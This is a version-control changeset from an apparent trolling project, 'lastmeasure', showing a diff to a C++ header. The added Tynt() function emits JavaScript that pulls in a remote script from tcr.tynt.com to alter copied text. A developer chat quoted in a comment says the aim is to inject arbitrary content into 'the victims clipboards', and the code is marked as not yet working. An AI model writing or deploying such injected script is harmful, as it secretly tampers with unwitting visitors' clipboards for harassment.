Ignore:
Timestamp:
01/12/12 05:49:09 (16 months ago)
Author:
literalka
Message:

tynt

File:
1 edited

Legend:

Unmodified
Added
Removed
  • trollforge/lastmeasure/server/lmresource.h

    r572 r573  
    633633        return ret.str(); 
    634634    } 
    635 /* 
     635 
     636/* XXX: Does not work yet. 
    636637 * 06:45:51 <incog> http://stackoverflow.com/questions/1203082/injecting-text-when-content-is-copied-from-web-page 
    637638 * 06:46:19 <incog> stealing the js from this will allo LM to inject whatever it wants into the victims clipboards 
     
    641642    static std::string Tynt() 
    642643    { 
     644        static char const *prefix = "prefix"; 
     645        static char const *suffix = "suffix"; 
     646 
    643647        std::stringstream ret(""); 
    644648 
     
    649653        "        var Tynt=Tynt||[];Tynt.push('buPVQ-pnyr4zddacwqm_6l');Tynt.i={\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\",\"c\":false,\"t\":true};\r\n" 
    650654        "        (function(){\r\n" 
    651         "            var s=document.createElement('script');s.async=\"async\";s.type\="text/javascript\";s.src='http://tcr.tynt.com/ti.js';\r\n" 
     655        "            var s=document.createElement('script');s.async=\"async\";s.type=\"text/javascript\";s.src='http://tcr.tynt.com/ti.js';\r\n" 
    652656        "            var h=document.getElementsByTagName('script')[0];h.parentNode.insertBefore(s,h);})();\r\n" 
    653657        "    }\r\n" 
     
    669673    static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames); 
    670674    static std::string m_statics[NSTATICS]; 
    671     static char const prefix = " 
    672675}; 
    673676 
Note: See TracChangeset for help on using the changeset viewer.